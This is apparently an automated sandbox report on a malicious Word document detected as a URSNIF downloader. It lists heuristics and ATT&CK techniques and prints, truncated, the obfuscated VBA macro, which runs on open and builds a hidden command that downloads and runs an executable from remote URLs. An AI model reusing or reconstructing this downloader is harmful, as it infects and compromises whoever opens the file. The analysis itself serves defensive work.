MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' and the presence of a 'Document_Open' macro indicate that the VBA code is designed to execute commands. The script attempts to construct and execute a command using the Shell() function, likely to download and run a secondary payload. The ClamAV detection as 'Doc.Downloader.URSNIF-6729855-3' further supports this downloader behavior.
Heuristics 5
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ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6177 bytes |
SHA-256: cbff135e4e9323e0a8ca62b22a81794a9680585c8862bd708e2501e9820449fa |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "wjcFEGjQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
Second "zFpiVaXZHXwfhz" + "U" + "2692" + "Zt"
Second "uqwSRYVhz" + "387021345" + "kzB" + "8730"
Second "kz" + "1499" + "tkAh" + "p"
Second "P" + "8389"
Second "4180" + "jmCmdHzM" + "IcRbPsSnK" + "bWtnR"
Second "357881955" + "3117" + "ijHmwpiFZCcjw" + "bvt"
Shell KlXaMrm + bMdNCkVCVn + zZZwVld, CStr(vbHide)
Second "pqENJzbA" + "208599822" + "Ovav" + "A"
Second "HmjZtUmz" + "7073"
Second "hYRErMnn" + "4277"
End Sub
Attribute VB_Name = "PklmCrIO"
Function KlXaMrm()
On _
Error _
Resume _
Next
Second "IVozFsCNdj" + "muE"
Second "wwrMmsOX" + "ii"
Second "7048" + "RLBLOvif"
Second "315289259" + "bGl" + "wcZUd" + "8842"
bkzhl = Format(Chr(9 + 16 + 4 + 2 + 68)) + "md /V" + "^:O/" + Format(Chr(6 + 11 + 3 + 1 + 46)) + Format(Chr(3 + 5 + 1 + 0 + 25)) + "^" + "s^" + "e^" + "t ^WvU^" + "y=^ " + " ^ ^ " + "^ " + "^ ^ "
Second "IWV" + "FalMBYmN" + "6772" + "vIi"
Second "BfMwfQziXwj" + "fvQGQha"
Second "hBcrV" + "380436099"
ipaSHnJ = " " + "^ ^ ^ " + "}" + "}" + "^{" + "^h" + Format(Chr(9 + 16 + 4 + 2 + 68)) + "^" + "ta" + Format(Chr(9 + 16 + 4 + 2 + 68)) + "};" + "^k^a^"
Second "31392559" + "BMS"
kVaBhn = "e" + "r^b;Yu" + "r^$ " + "^m^e^tI" + "^-e" + "k" + "o" + "vnI^;"
Second "965" + "5880" + "XJTdjHJSV" + "Abrh"
HzutiHjFO = ")Y^u" + "r^" + "$ ^,^pN" + "B^" + "$" + "(^eliF" + "d"
Second "E" + "5438"
Second "MhjZXFtjz" + "52832268"
zBPwbjSP = "^a" + "^olnwoD" + ".j^" + "p^X$^{^" + "yr"
Second "oWcn" + "1454"
Second "UmZTRVGRUadD" + "7070" + "Hb" + "Z"
Second "GiNa" + "EjiBfz"
Second "ZLiR" + "iSRc" + "LaHCfQjrI" + "467392171"
Second "376971481" + "ATq"
wZvZZZCL = "^t{" + ")" + Format(Chr(9 + 16 + 4 + 2 + 68)) + "^oi$^" + " n^i" + "^" + " ^pN" + "B^$(h" + Format(Chr(9 + 16 + 4 + 2 + 68)) + "^a" + "^e" + "r^o^f^;" + "'" + "^e^x^e"
Second "1426" + "2730" + "131359904" + "2661"
Second "tZ" + "A"
FVkwvLXivOm = "^.^'+^f" + "aw" + "^$+" + "'\'^+" + Format(Chr(9 + 16 + 4 + 2 + 68)) + "i^" + "l" + "^" + "b^u^p:v"
Second "obmhCVWdl" + "1876"
LEFDwJt = "n" + "e^$^=Y" + "^ur^$;'" + "^1^" + "1^7" + "^' =^ " + "f^aw$;" + ")^'@^" + "'(" + "t" + "ilp^S.^"
Second "mHz" + "2845" + "swVQqO" + "sTaM"
Second "151506295" + "9519"
Second "530531760" + "421003665" + "33902179" + "zE"
UjhKfLskOAw = "'^" + "D^GoP/" + "m" + "^o" + Format(Chr(9 + 16 + 4 + 2 + 68)) + "." + "^t"
Second "1424" + "AS" + "qWRt" + "jTfL"
Second "144" + "385570591" + "YNItdvcRQLGKl" + "273801574"
Second "8474" + "427918883" + "101014623" + "2181"
oHsEGJKpH = "^o" + "^p^" + "sno" + "r^i" + "//:p^t" + "t^h^@j" + "fW^FVF^" + "8r/m^" + "o" + Format(Chr(9 + 16 + 4 + 2 + 68)) + "." + "e^u" + "v" + "^"
Second "LIdEK" + "9208"
Second "GHY" + "w"
Second "licB" + "57965560" + "BkiEX" + "uNEQdXXBb"
wIVBCzu = "ero^o^" + "b" + "a^keep" + "/" + "/^:^p^"
KlXaMrm = bkzhl + ipaSHnJ + kVaBhn + HzutiHjFO + zBPwbjSP + wZvZZZCL + FVkwvLXivOm + LEFDwJt + UjhKfLskOAw + oHsEGJKpH + wIVBCzu
Second "kmpQXLAuN" + "fh" + "365194270" + "n"
Second "70996280" + "nJ"
Second "QTviGhI" + "RV" + "315865801" + "UcJFQ"
End Function
Function bMdNCkVCVn()
On _
Error _
Resume _
Next
Second "FddKlw" + "OTSBodYZZ"
PpRpwRnf = "tth^" + "@uj^l^" + "h^o" + "/m^" + "o" + Format(Chr(9 + 16 + 4 + 2 + 68)) + "^.^" + "gn" + "^it" + "nia^p"
Second "wCkfREKOG" + "AfRUmpAd" + "WL" + "GICb"
Second "rBzjjYzi" + "zL"
LOkOMzwwZEb = "m^ot^su" + Format(Chr(9 + 16 + 4 + 2 + 68)) + "ra" + "^" + "t^sen^" + "o" + "^l//^:" + "p^t^t" + "h"
Second "rlTmjU" + "jYwjHViv" + "dqjiW" + "c"
Second "WHUDRQuddUoQr" + "lIcDDYCTjsUVWs" + "4956" + "mJ"
Second "9262" + "171867944" + "464524065" + "7760"
WnITU = "^@u^A" + "/^ur.^m" + "b^s-t" + "^evs^
... (truncated)
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